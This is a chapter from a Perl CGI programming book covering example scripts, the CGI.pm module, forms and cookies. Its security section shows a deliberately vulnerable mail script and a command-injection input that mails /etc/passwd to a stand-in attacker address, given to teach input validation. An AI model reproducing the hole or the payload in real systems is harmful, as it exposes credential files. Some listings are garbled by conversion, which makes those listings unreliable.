UNIX Unleashed, Internet Edition
By Matt Curtin
There are some things worth mentioning when considering CGI in Perl. (Likely, these are reminders of things you have already learned.)
Why not?
Actually, there are quite a few reasons to use Perl. Perl is a mature, portable, and flexible programming language. Such tasks as reading, writing, and mangling text are ideally done in Perl. A great deal of CGI programming is essentially text processing, sometimes in fairly creative ways, which makes Perl well-suited to the task of CGI programming. Additionally, there is a large base of free modules to make the task of CGI programming even easier, and many freely available programs which you can modify for your own needs, or learn new techniques. Let's consider some needs of CGI programs in more detail, and compare Perl with some other languages.
You can use just about any programming language to write CGI programs--Shell, Scheme, C, Java, you name it. If it's a real programming language, you can write CGI with it. Not that doing so is a good idea, but you can even write CGI programs using something like BASIC. The point is that there's a difference between a language you can use and a language that you should use.
The language that you use for CGI should fit the application, just as in any other programming task. Typically, CGI programs perform tasks such as pattern matching, interfacing to databases, and generating HTML dynamically. Perl is by far the most popular CGI programming language because it is suited so well to these types of tasks.
In the following sections, I briefly compare Perl to some other programming languages that you can use for CGI programming. I do so strictly from the perspective of the needs of good language for CGI programming.
Perl Versus UNIX Shell UNIX shell scripts tend to be highly portable across various platforms. A number of trade-offs exist, though, in that shell scripts tend to be much slower than the same script implemented in Perl, C, or some other language that performs compilation of the entire program before it can be executed. You can handle deficiencies in the shell's capability to perform serious file manipulation by using tools such as awk, but even awk has limitations that could be significant in a CGI environment (such as being able to have only one file open at a time). As a result, shell is typically useful only for the smallest of scripts, such as simple <ISINDEX> gateways to services such as finger, archie, or other command-line tools, where you're only interested in seeing the results. Even in these cases, if you want to manipulate the results, or convert them from standard text to HTML, perhaps making appropriate words links to related or explanatory pages, Perl becomes a better option.
Perl Versus C/C++ Some CGI programmers prefer to use C, often because it's simply what they know. CGI programs implemented in C suffer from a number of problems, though: they're more likely to be susceptible to bugs in string handling or memory management that might even turn out to be security bugs. C is a great language for implementing systems that were done in assembler before C came about (such as operating systems) because it is very fast and allows the programmer to perform very low-level functions from a higher-level language that is more portable (than assembler) across architecture types.
CGI programs implemented in C, however, require at least a recompile for the target platform. If you're making a jump from one type of system to another, rewriting some parts of the program might even be required. C forces the CGI programmer to deal with other tasks (such as memory management) that only get in the way of accomplishing the task at hand. Further, its capability to do pattern matching is far behind that of Perl's. True, you can add pattern matching functionality, but that's additional overhead that must be compiled into your CGI program, rather than simply being an internal function, as it is in Perl.
I wouldn't implement an operating system in Perl (although I'm sure some people would), and I wouldn't implement a CGI program in C (although some do). Use the right tool for the job.
Perl Versus Java The entire world has become abuzz with talk of Java. For this reason, some programmers have tried to use Java for everything, including CGI. Doing so presents a number of advantages; however, they currently seem to be outweighed by the consequences. Java's strengths include portability and simplicity. Remember, though, that data is passed to a CGI application through the operating system's environment. As Java does not support access to environment variables (because of portability issues), a programmer needs to write a wrapper that will read the environment, and then invoke the Java program using a command-line interface, with the appropriate environment variables defined as properties.
Java is very much in the same boat as C when it comes to functionality. Although the Java programmer is significantly less inclined to cause bugs due to silly errors than the C programmer is, the Java programmer ends up having to implement nearly everything himself or herself either in the CGI program, or having to distribute a number of requisite classes along with the program. Much of the promise of Java has already been fulfilled in Perl, especially in the realm of CGI programming. Unless Java does some job much better than Perl, relating specifically to the program you're planning to develop, Perl is a much better language for CGI programming.
If you do have a task to perform that really is best done in Java, it's probably best to not use CGI, but rather "servlets," or some other server-specific API. Of course, in doing this, you might lose the server-portability that you have in using CGI.
Some basic understanding of Perl does CGI will be useful before we go forward. If you're already experienced with CGI programming, you might like to skip ahead to the next section, or glance over this section, looking for reminders.
Remember, before a CGI program can run, several things will need to have taken place:
chmod +x myprogram.pl
At this point, it would be useful to consider some example CGI programs. Remember, the web browser will need to be told the content type of the data coming its way in the HTTP header. Once this has been done, the data itself can come down, and will be interpreted properly by the browser. In the case of HTML, you'll need to have the HTTP header indicate the content type as text/html, send two newlines (to mark the end of the header and the beginning of the data), and then the HTML.
Your First CGI Program in Perl Of course, the classic first program in any language is "Hello, world!" Likely, you've already seen this in Perl. In Listing 19.1, you'll see it again, with a twist: it's a CGI program.
#!/usr/bin/perl -Tw
print <<EOD;
Content-type: text/html
<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML//EN\">
<html>
<head>
<title>Hello, world!</title>
</head>
<body>
<h1>Hello, world!</h1>
</body>
</html>
EOD
Note the double newline between the last HTTP header (Content-type: text/html) and the first line of data (<html>). If you're missing this, your program will not work properly.
Of course, this isn't really very interesting, since we could have achieved the same result by writing a standard HTML file. However, the power of CGI becomes a bit more obvious when looking at something slightly more fancy: tell the user the result of the uptime(1) command, which is what we do in listing 19.2.
#!/usr/bin/perl -Tw
$ENV{'PATH'} = "";
$|=1;
print <<EOD;
Content-type: text/html
<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML//EN\">
<html>
<head>
<title>Fancy hello world!</title>
</head>
<body>
<h1>Hello world!</h1>
How long has this system been up?
<pre>
EOD
system("/usr/bin/uptime"); # for Solaris, *BSD, Linux
# system("/usr/bsd/uptime"); # for IRIX
print <<EOD;
</pre>
</body>
</html>
EOD
echo.pl: Seeing CGI Environment Variables Listing 19.3 has another program that should prove to be interesting: a Perl version of the popular echo.sh program that has come with a number of different HTTP servers, including NCSA's HTTPd and Apache. We're simply walking through the %ENV hash, and returning each key (environment variable), and its value, as a plain text file.
Listing 19.3. Perl Translation of echo.sh
#!/usr/bin/perl -Tw
print "Content-type: text/plain\n\n";
foreach $key(keys %ENV) {
print "$key=$ENV{$key}\n";
}
Listing 19.4 is the same thing, except a bit fancier, using HTML tables:
#!/usr/bin/perl -Tw
print <<EOD;
Content-type: text/html
<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML//EN\">
<html>
<head>
<title>What's our environment, anyway?</title>
</head>
<body>
<h1>What's our environment, anyway?</h1>
<table border>
<caption>Environment variables and their values</caption>
<TR>
<th>Variable</th>
<th>Value</th>
</TR>
EOD
foreach $key(sort keys %ENV) {
print "<tr><td> $key </td><td> $ENV{$key} </td></tr> \n";
}
print <<EOD;
</table>
</body>
</html>
EOD
perldoc.pl: A Web Front-End to perldoc(1) Now let's invent a problem that might actually exist. You have found perldoc(1) to be incredibly useful. You would like to be able to use it from home, but don't want to do so through a telnet(1) window; you'd rather use your browser.
This is an easy task. The next listing shows a very simple <ISINDEX> interface to the perldoc(1) command, which demonstrates simple text processing and handling of (potentially dangerous) user input.
Notice the URL when perldoc.pl is run the first time. Then submit a query, and notice the URL. Your submission becomes part of the URL, in the query string. To perform the lookup of the submitted command, we run it through a regular expression and then use a back reference to assign the value of the query string to $query. Remember, input from users is potentially dangerous, so we need to be sure that we're not allowing shell metacharacters anywhere near a shell. The regular expression /^(\w+)$/ will ensure that only alphanumeric characters are left in the variable. However, Perl's -T switch will still flag this data as "tainted", that is, untrusted, and potentially dangerous. By assigning the value to a new variable with the back reference $1, we tell Perl that we know what we're doing, so, Perl allows us to proceed.
(As an aside, it's noteworthy that the result of a perldoc(1) request is in the same format as a man(1) request: nroff with man macros. Because of this, only minor modifications are needed to perldoc.pl to create a front end to man(1). Why not give that a try?)
#!/usr/bin/perl -T
$ENV{'PATH'} = "/bin:/usr/bin:/usr/local/bin";
$ENV{'QUERY_STRING'} =~ /^(\w+)$/; # matches only alphanumerics and _
$query = $1; # tell perl not to worry, we've detainted
print <<EOD;
Content-type: text/html
<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML//EN\">
<html>
<head>
</head>
<body bgcolor=\"#ffffff\">
<title>perldoc $query</title>
<center>
<h1><code>perldoc</code> Interface</h1>
</center>
<isindex>
<h2>$query</h2>
<pre>
EOD
# Don't bother running the command if there's no argument
if ($query) {
open(PERLDOC, "/usr/local/bin/perldoc $query |") || die "Cannot perform perldoc query!";
while(<PERLDOC>) {
s/.\ch//g;
s/</</g;
s/</>/g;
print;
}
}
close PERLDOC;
print <<EOD;
</pre>
<hr>
<address><a href=\"http://www.research.megasoft.com/people/cmcurtin/\">C
Matthew Curtin</a></address>
</body>
</html>
EOD
At this point, you should have some understanding of how Perl works with CGI. You can imagine a number of things that we haven't covered yet, like how to handle cookies, process more complex user input, forms, and so on. Even potentially difficult tasks are made quite a bit more simple with the CGI.pm module. We'll cover its use through the rest of the chapter.
Would you connect your machine to the Internet if you knew that doing so would enable people to run commands on your machine? What if that machine has all your personal and private data on it? What if that machine is your company's Web server?
Well, keep in mind that's exactly what CGI is. A remote user, most often someone who hasn't gone through any kind of authentication--and someone who can't easily be tracked down (if at all)--is running programs on your Web server. I can't emphasize enough that this situation can be very dangerous. So let me say again: This situation can be very dangerous.
CGI is dangerous.
The nice thing about CGI on your Web server is that the programs that people are running on your machine are programs you've written. (You have control over what's on your server and what it can and can't do.) The bad thing about CGI on your Web server is that the programs that people are running on your machine are programs you've written. (Although you might write programs that are very nice and that do only what you want them to, you might be surprised to find out what else a naughty person can make them do.)
Consider the code in Listing 19.6. This little CGI program, which is sitting on your company's Web server, is called when a user enters an e-mail address to get more information about your company's New SuperWidgets.
#!/usr/bin/perl
use CGI;
$query = new CGI;
$email_addr = $query->param('email');
open(MAIL, "| Mail -s 'More information' $email_addr");
print MAIL <<EOD;
Thank you for your request.
Here at The Very Big Corporation of America, we think that
our SuperWidgets(tm) are pretty cool, and we hope you agree.
Sincerely,
Joe Mama
President, and Chief Executing Officer
EOD
Isn't that easy? Isn't Perl great? Now, you can just slap this bad boy up on the server, and you're all done. Right? Wrong. Sure, the program can do what you think it will, but it might also do something you haven't thought about. If someone claims that his e-mail address is something like
sillyname@sillyplace.com ; /bin/mail badboy@naughty.no < /etc/passwd
you might have a bit of a problem. Namely, badboy@naughty.no just got a copy of your password file. Oops.
The lesson here is obvious: don't trust any input from users. Remember, CGI programs are programs that run on your server. If these programs can be fooled into performing a task beyond what you've anticipated, you can have very serious security problems. Fortunately, Perl has an extremely useful -T switch, which would tell you about the vulnerability here and refuse to run. Don't even think about running a CGI program without specifying the -T switch. This is done by adding it to the end of the line specifying the path to Perl, making it look like:
#!/usr/bin/perl -T
You especially need to consider this situation if you have any sort of "secure" service on the server, such as forms served by SSL that are used to get credit card numbers or other sensitive data from customers or partners. The more data that you have on the machine that is attractive to bad guys, the greater resources that they'll spend trying to get at what you're attempting to hide.
Another important consideration is that you don't really know what you're talking to on the other side of that connection. It might not be a browser at all, but rather someone who used telnet to talk to your HTTP port, attempting to interact with your daemon or programs in ways you haven't thought about. You have good reason to be paranoid about this problem.
Perl is a wonderfully powerful language. You do need to be careful while writing CGI programs to avoid common pitfalls, however. Some of them are related to functionality, whereas others are related to security. Keep them all in mind, and remember to make your programs functional and secure. Now take a look at some of my favorite pitfalls:
Using CGI.pm is easy. To write a CGI program, you simply need to create a new CGI object, throw some parameters at it, and a new CGI program is born. Now take a look at some code snippets, and see what each one does.
You create a new CGI object just as you would create any other Perl object:
use CGI; $cgi = new CGI;
You can also create CGI objects and feed them parameters at the same time. For example, if you want to send some parameters in via an open file handle, you simply need to reference the file handle glob you want. It can be STDIN, some file with key/value pairs used for debugging, or just about anything else, as you can see here:
$cgi = new CGI(\*STDIN);
(In reality, you could just use the file handle name, but passing the glob reference is the official method of passing file handles, which is why I show it here. The * character, in this context, is often known as a "glob", a wildcard character that will match anything. Hence, a "globbed" file handle like *STDIN will include $STDIN, @STDIN, and %STDIN.)
Additionally, you can hardwire associative array key/value pairs into the new object being created this way:
$cgi = new CGI({ 'king' => 'Arthur',
'brave' => 'Lancelot',
'others' => [qw/Robin Gallahad/],
'servant' => 'Patsy'});
Another useful initialization option is to pass a URL style query string, as follows:
$cgi = new CGI('name=lancelot&favoritecolor=blue');
And, of course, you can create a new CGI object with no values defined:
$cgi = new CGI('');
As with all tasks when you're programming in Perl, you can find more than one way to do the job. In my experience, if the program is more complex than what can be reasonably accomplished in a few lines of code, or will require the parsing of input from the user that is more complex than what can be obtained through environment variables, then using CGI.pm is the way to go.
In the first example, in which the user's browser type is checked, doing the job without CGI.pm is just as easy doing it with CGI.pm. In such cases, I typically do not use CGI.pm. These times are fairly rare, however; most of the time you use CGI, you do so because someone wants to give some level of feedback to the server, which means that the server needs to be able read the data and make it useful.
Sometimes you might need a specific part of CGI.pm but don't want the whole thing, perhaps because you're optimizing for speed, or don't want to use the extra memory of the whole CGI.pm module. In these cases, you can use a number of related modules geared toward more specific tasks to give you some of the features you're looking for in CGI.pm without the overhead.
You can find the WWW-related modules (including CGI) on the Web at
http://www.perl.org/CPAN/modules/by-category/15_World_Wide_Web_HTML_HTTP_CGI/
In the end, most often you'll find using CGI.pm or a related CGI module more advantageous than doing the work yourself. In addition to CGI.pm's convenience, there are some extra security checks to help keep you from being caught doing stupid things. Use the tools available, unless the job is so small that they'll make more work for you.
In this section, I've included examples to highlight some of the features that I've found particularly useful in CGI.pm. Check the documentation for the complete (and current) list of available features. I hope that the information I present here is enough for you to understand how CGI.pm works so that when you see other features in the documentation, you'll be able to begin using them quickly.
Much of this section has been adapted from the CGI.pm documentation, by
Lincoln Stein
<lstein@genome.wi.mit.edu>
http://www.genome.wi.mit.edu/~lstein/
and has been used with permission.
@keywords = $cgi->keywords
@params = $cgi->param
$value = $cgi->param('foo'); # for scalars
@values = $cgi->param('foo'); # for arrays
$cgi->param( -name => 'foo',
-values => ['first', 'second', 'third', 'etc.']);
$cgi->append( -name => 'foo',
-values => ['some', 'more', 'stuff']);
$cgi->delete('foo');
$cgi->delete_all();
The use CGI statement imports method names into the current namespace. If you want to import only specific methods, you may do so as follows:
use CGI qw(header start_html end_html);
It's possible that you'll want to import groups of methods into the current namespace rather than individual methods on a one-by-one basis. Simply specify which method family you want this way:
use CGI qw(:cgi :form :html2);
Be aware, however, that this makes the source code a bit more difficult to follow for someone else. Additionally, this isn't considered "good OO" practice. By importing the methods directly into your current namespace, it will be much more difficult to maintain and expand the program. Should you find yourself in a situation where you want to use more than one CGI object, for example, it will become confusing to keep track of which object you're referencing. Consider yourself warned.
The following are the method families available for you to use:
If you want to use a tag that someone implements, you can do so and still use it in your local namespace by using the :any method family, as in the following example. Using this family causes any unrecognized method to be interpreted as a new HTML tag. Beware that typos are interpreted as new tags.
use CGI qw(:any :all);
$q=new CGI;
print $q->newtag({ parameter=>'value',
otherParameter=>'anotherValue'});
A simple way of saving the state information is to use the self_url() method, which returns a redirect URL that reinvokes the program with all its state information. Here's the syntax:
$my_url = $cgi->self_url; You can get the URL without all of the query string appended by using the url() method instead: $my_url = $cgi->url;
Another method of saving state information is to use cookies. I talk about how to use them later in the chapter.
Although I provided an example like the following already, it's important enough to emphasize. If you want to create a text input field, for example, you can do so like this:
$field = $cgi->textfield( -name => 'IQ',
-default => '160');
A nice side effect of being able to pass these specified arguments to a function
is that you can give arguments to tags, even if the CGI module doesn't know about them.
For example, if in some future version of HTML, the align argument is recognized, you can
simply start using it like this:
$file = $cgi->textfield( -name => 'IQ',
-default => '160',
-align => 'right');
The header() method, as shown here, prints out the appropriate HTTP header and a blank line beneath (to separate the header from the document itself). If no argument is given, the default type of text/html is used.
print $cgi->header('text/html');
You can specify additional header information the same way you pass multiple arguments to any object:
print $cgi->header( -type => 'text/html',
-status => '',
-expires => '+1h',
-cookie => $my_chocolate_chip);
You can even make up your own as in the following example:
print $cgi->header( -type => 'text/html',
-motto => 'Live Free or Die!');
Of course, making up your own header doesn't have much point because usually the only thing that sees the headers is a browser. However, that does mean that if a new version of HTTP is released and has headers that you want to use, you can do so without waiting for a new version of CGI.pm.
You can specify the following:
print $cgi->header( -type => 'text/html',
-status=> '203 Non-Authoritative Information');
tabular175
print $cgi->redirect('http://my.other.server/and/then/some/path');
Most of the environment variables that you use in creating CGI programs, including the ones discussed at the beginning of this chapter, are available through this interface. A list of methods follows, along with a brief description of each.
Now you're ready to look at some useful parameters to create HTML headers and the HTML document itself:
$cgi = new CGI;
print $cgi->header;
$JAVASCRIPT=<<END;
// This is a super simple example of incorporating JavaScript in a
// dynamically generated HTML page.
window.alert("Click on OK!");
END
print $cgi->start_html( -title => 'Some sort of silliness',
-script => $JAVASCRIPT);
You create tags that are unpaired such as <BR>, <HR>, and <P> as follows:
print $cgi->p;
Other tags, such as <I> and <B> are paired. You create them like this:
print $cgi->i("Here is some text to be italicized.");
You can even embed tags within tags as follows:
print $cgi->i("Here is some", print $cgi->b("bold text"), "to be italicized");
Although you can use almost any of the HTML tags that you might expect via lowercase function calls of the same name, in some cases they conflict with other methods in the current namespace.
You might want to make a <TR> tag, for example, but tr() already exists in Perl as a character translator. You therefore can use TR() to generate the <TR> tag. Also, you make the <PARAM> tag via the PARAM() method because param() is a method of the CGI module itself.
Remember, the methods for creating forms return the necessary HTML-marked-up text to make the browser display that you want. You still need to print the strings after you get them from the methods. Also, the default values that you specify for a form are valid only the first time that the program is invoked. If you're passing any values via the query string, the program uses them, even if the values are blank.
You can use the param() method to set a field's value specifically if you want to do so. (You might want to use this method to ignore what might be in the query string and set it to another value you want.) If you want to force the program to use its default value for a given field, you can do so by using the -override parameter.
So, this bit of CGI
print $cgi->textfield(-name => 'browser',
-default => 'Mozilla');
uses the value Mozilla in the browser text field the first time it's invoked. However, if the query string includes browser=InternetExploder, then the text field uses this value instead.
To prevent this situation from happening, you can change your CGI to look like this:
print $cgi->textfield( -name => 'browser',
-default => 'Mozilla',
-override => 1);
Now, the text field always has the default value of Mozilla, regardless of the value in the query string.
If you want to force defaults for all fields on the page without having to specifically tell each one to override values from the query string, you can use the defaults() method to create a defaults button, or you can construct your program in such a way that it never passes a query string back to itself.
Although you can put more than one form on a page, keeping track of more than one at a time isn't easy.
Text that you pass to form elements is escaped. You therefore can use <my@email.addr>, for example, without having to worry about it somehow being sent to the browser, which would think that you've just sent it a strange tag. If you need to turn off this feature (so that you can use special HTML characters such as © ([cw]), then you can do so this way:
$cgi->autoEscape(undef);
To turn the feature back on, try the following:
$cgi->autoEscape('yes');
To create an <ISINDEX> tag, you can use the isindex() method as follows:
print $cgi->isindex($action);
The startform() and endform() methods exist so that you can start and end forms as follows:
print $cgi->startform($method, $action, $encoding);
print $cgi->endform;
Two types of encoding are available:
Additionally, you can use JavaScript in your forms by passing the -name and -onSubmit parameters. (A good use of this feature is validation of form data before submission to the server.) A JavaScript button that allows the submission should return a value of true because a false return code aborts the submission.
The textfield() method, shown here, returns a single-line text input field. -name is the name of the field, -default is the default value for the field, -size is the size of the field in characters, and -maxlength is the maximum number of characters that can be put into the field.
print $cgi->textfield( -name => 'hours',
-default => 40,
-size => 3,
-maxlength => 4);
Creating a Multi-Line Text Area
You can create a multi-line text area as follows:
print $cgi->textarea( -name => 'comments',
-default => 'My, what great stuff you have!',
-rows => 5,
-columns => 50);
password_field() is the same as textfield(), except that asterisks appear in place of the user's actual keystrokes.
The following method returns a form field that prompts the user to upload a file to the Web server:
print $cgi->filefield( -name => 'passwd_file',
-default => 'Some value',
-size => 16384,
-maxlength => 32768);
-name is required for the field, -default is the starting value, -size is the size of the field in characters, and -maxlength is the maximum number of characters that can be submitted.
You should use the multipart form encoding for uploading files. You can do so by using the start_multipart_form() method or by specifying $CGI::MULTIPART as the encoding type. If multipart encoding is not selected, the name of the file that the user selected for upload is available, but its contents are not.
Remember, you can use the query() method to get the name of the file. Conveniently, the filename returned is also a file handle. As a result, you can read the contents of a file that the user uploaded with code like the following:
$uploaded_file = $cgi->param('uploaded_file');
while(<$uploaded_file>) {
print;
}
Binary data isn't too happy with this kind of while loop, though. In fact, if you
want to save the user-uploaded file someplace, as you would if the user were uploading,
for example, a JPEG image of a new car, you might do so with some code like this:
open(NEWFILE, ">>/some/path/to/a/file") || die "Cannot open NEWFILE: $!\n";
while($bytesread=read($uploaded_file, $buffer, 1024)) {
print NEWFILE $buffer;
}
close NEWFILE;
You can use the popup_menu() method to create a menu. -name is the menu's name (required), and -values is an array reference containing the menu's list items. You can either pass an anonymous array, or a reference to an array, such as menu_items (required). -default is the name of the default menu choice (optional). -labels lets you pass an associative array reference to name the labels that the user sees for menu items. If unspecified, the values from -values are visible to the user (optional).
print $cgi->popup_menu( -name =>'menu_name',
-values =>['one', 'two', 'three'],
-default =>'three',
-labels =>{'one'=>'first','two'=>'second',
'three'=>'third'});
Scrolling Lists
The method for creating scrolling lists is, of course, scrolling_list():
print $cgi->scrolling_list( -name=>'list_name',
-values=>['one', 'two', 'three'],
-default=>['one', 'three'],
-size=>4,
-multiple=>'true',
-labels=>\%labels);
-name and -values are the same as they are in pop-up menus. All other parameters are optional. -default is a list of items (or single item) to be selected by default. -size is the display size of the list. -multiple, when set to true, allows multiple selections. Otherwise, only one item can be selected at a time. -labels is the same as it is for pop-up menus.
You use the checkbox() method to create standalone check boxes. If you have a group of check boxes that are logically linked together, you can use checkbox_group().
print $cgi->checkbox( -name=>'checkbox_name',
-checked=>'checked',
-value=>'ON',
-label=>'Check me!');
-name is a parameter containing the name of the check box; it is the only required parameter. The check box's name is also used as a readable label next to the check box itself, unless -label specifies otherwise. -checked is set to checked if it is to be checked by default. -value specifies the value of the check box when checked. -label specifies what should appear next to the check box.
checkbox_group(), shown here, is the method you use to create a number of check boxes that are logically linked together and whose behavior can be affected by the other boxes.
print $cgi->checkbox_group( -name=>'group_name',
-values=>['uno', 'dos', 'tres'],
-default=>'dos',
-linebreak=>'true',
-labels=>\%labels);
-name and -values, which are required, function just as they do for standalone check boxes. All other parameters are optional. -default is either a list of values or the name of a single value to be checked by default. If -linebreak is set to true, linebreaks are placed between each check box, making them appear in a vertical list. Otherwise, they are listed right next to each other on the same line. -labels is an associative array of labels for each value, just as in pop-up menus. If -nolabels is specified, no labels are printed next to the buttons.
If you want to generate an html3 table with your check boxes in it, you can do so by using the -rows and -columns parameters. If these parameters are set, all the check boxes in the group are put into an html3 table that uses the number of rows and columns specified. If you like, you can omit -rows, and the correct number is calculated for you (based on the value you specify in -columns). Additionally, you can use -rowheaders and -colheaders parameters to add headings to your rows and columns. Both of these parameters like to be fed a pointer to an array of headings. They are purely decorative; they don't change how your check boxes are interpreted.
print $cgi->checkbox_group( -name=>'group_name',
-values=>['sun', 'sgi', 'ibm', 'dec'],
-rows=>2, -columns=>2);
You use the radio_group() method to create logical groups of radio buttons. Turning on one button in a radio group turns off all the others. As a result, -default accepts only a single value (instead of a list, as it can with check box groups). Otherwise, the methods for radio button groups are the same as for check box groups.
Forms are pretty useless unless you can submit them. So, the CGI module provides the submit() method, which is shown here. Available parameters are -name and -value. -name associates a name to a specific button. (This capability is useful when you have multiple buttons on the same page and want to differentiate them.) -value is what is passed to your program in the query string, and also appears as a label for the submit button. Both parameters are optional.
print $cgi->submit( -name=>'button_name',
-value=>'value');
Reset buttons are straightforward: clicking the reset button undoes whatever changes the user has made to the form and presents a fresh one for mangling.
print $cgi->reset;
The defaults() method, shown here, resets a form to its defaults. This method is different from reset(), which just undoes whatever changes the user has made by typing in the fields. Reset buttons do not override query strings, but defaults buttons do. This difference between the two is small but important. If an argument is given, it is used as the label for the button. Otherwise, the button is labeled Defaults.
print $cgi->defaults('button_label');
The hidden() method, shown here, produces a text field that's invisible to the user. This capability is useful for passing form data from one form to another, when you don't want to clutter up the screen with information that the user doesn't need to see every time.
print $cgi->hidden( -name=>'field_name',
-default=>['value1', 'value2', 'value3']);
Both parameters must be given. As in other cases, the second can be
an anonymous array or a reference to a named array.
Clickable Image Buttons
So you aren't satisfied to have plain old hypertext as your link? Want to
use an image instead? Then use the image_button() method as follows:
print $cgi->image_button( -name=>'button_name',
-src=>'/images/clickMe.gif',
-align=>'middle',
-alt=>'Click Me!');
When you use image_button(), only -name and -src are required. When the image is clicked, not only is the form submitted, but the x and y coordinates indicating where the image was clicked are also submitted via two parameters: button_name.x and button_name.y.
button(), shown here, creates a JavaScript button. This means that JavaScript code referenced in -onClick is executed. Note that this method doesn't work at all if the browser doesn't understand JavaScript, if the browser has this feature turned off, or if the browser is behind a firewall that filters out JavaScript.
print $cgi->button( -name=>'big_red_button',
-value=>'Click Me!',
-onClick=>'doButton(this)');
Sometimes using Perl's print statement to send straight HTML to the client is just better. An example might be when you're implementing a table that contains information read from a file. It's probably better to use print to open the <TABLE> tag, use the methods to return the contents of the table, and then another print to close the table. Doing absolutely everything from a CGI method might be preferred by an object purist, but in practice, sometimes sticking a print statement with raw HTML in your program just makes more sense (from the standpoints of simplicity and readability).
Because the CGI modules are continually being enhanced, be sure to check the CGI.pm documentation for the complete list of methods, parameters, and features. You can find the documentation on the Web at
http://www.genome.wi.mit.edu/ftp/pub/software/WWW/cgi_docs.html
Using cookies is another way to maintain state information. A cookie is simply a bit of data that contains a number of name/value pairs passed between the client and the server in the HTTP header rather than in the query string. In addition to name/value pairs, several other optional attributes exist.
The following is a sample cookie that demonstrates how to use the method:
$my_cookie = $cgi->cookie( -name=>'myBigCookie',
-value=>'chocolate chip',
-expires=>'+5y',
-path=>'/cgi-bin',
-domain=>'.example.com',
-secure=>1);
print $cgi->header(-cookie=>$my_cookie);
The cookie() method creates a new cookie. Its parameters are as follow:
print $cgi->header(-cookie=>$my_cookie);
You can send multiple cookies by passing an array reference to header(), naming each cookie to be sent:
print $cgi->header(-cookie=>[$cookie1, $cookie2]); To retrieve a cookie, you can request it by name using the cookie() method without
To delete a cookie, send a blank cookie with the same name as the one you want to delete, and specify the expiration date to something in the past.
Note that cookies have some limitations. The client cannot store more than 300 cookies at any one time. Each cookie cannot be any longer than four kilobytes, including its name. No more than 20 cookies can be specified per domain.
You can support frames from within CGI.pm in two ways:
$cgi = new CGI;
print $cgi->header(-target=>'_myFrame');
print $cgi->start_form(-target=>'another_frame');
JavaScript is a useful interpreted language that runs inside the browser. It was introduced in Netscape version 2 as "LiveScript," but its name was almost immediately changed to JavaScript, and it was made to look similar to Java. Having code execute on the client side is nice, especially for CGI purposes, because you can perform tasks such as form validation on the client side, forcing the load of user-interface-oriented tasks to be processed on the client (where it belongs) rather than on your server (where it doesn't).
Again, using the JavaScript features of CGI.pm requires that you know JavaScript. JavaScript events are available only in cases in which they are applicable.
To register a JavaScript event handler with an HTML element, simply name the appropriate parameter, and pass it any arguments you need when calling the CGI method. For example, if you want to have a text field's contents be validated as soon as a user makes a change to it, you can do so this way:
print $q->textfield( -name=>'height',
-onChange=>"validateHeight(this)");
Of course, for this approach to work, validateHeight() must be an existing function. You make it an existing function by incorporating it in a <SCRIPT> block by using the -script parameter to the start_html method.
Perl is an excellent language for writing CGI applications. Given its flexibility, speed, portability, and the wealth of CGI-related Perl resources available, there is very little that can't be done. Perl is used to develop the vast majority of CGI programs on the web, and after seeing how well Perl does the job, it's easy to see why.
CGI programming is a powerful and fun way to accomplish many of the tasks relating to allowing users to interact with huge amounts of data. Information can be as dynamic or as static as you like.
As the Web becomes closer to the long-sought dream of an easy-to-use, ubiquitous user interface, using CGI to look at data makes sense rather than using the proprietary interfaces that typically exist. Because CGI is a program running on your server, though, it typically has access to data that you might not want to give to everyone. (For example, a corporate network might have a CGI interface to a certain subset of an employee database, which might also include information such as payroll, social security numbers, and so on that shouldn't be "public" knowledge.) Therefore, you need to take some precautions related to security, just to make sure that your program won't be tricked into giving out sensitive information that it otherwise wouldn't give.
The Perl community is one of the most helpful on the Net. Regardless of whether you're just learning to program or are already a wizard, a plethora of people on the comp.lang.perl.* newsgroups are willing to help you solve any problems that you're confronted with. (They won't write the programs for you, for the most part, but they'll do more than that: they'll help you figure out how to solve your own problems. So the next time, you won't have to ask anyone.) Do your part to keep the community like it is: When you see that someone is asking a question, and you can provide some help, do so. If you've written a useful module, share it.
Because of Perl's powerful regular expressions, object-oriented capabilities, and the huge library of free Perl modules to handle interfaces to various databases, CGI, encryption systems, and so on, Perl is a great language for safe and powerful CGI programming.
©Copyright,
Macmillan Computer Publishing. All rights reserved.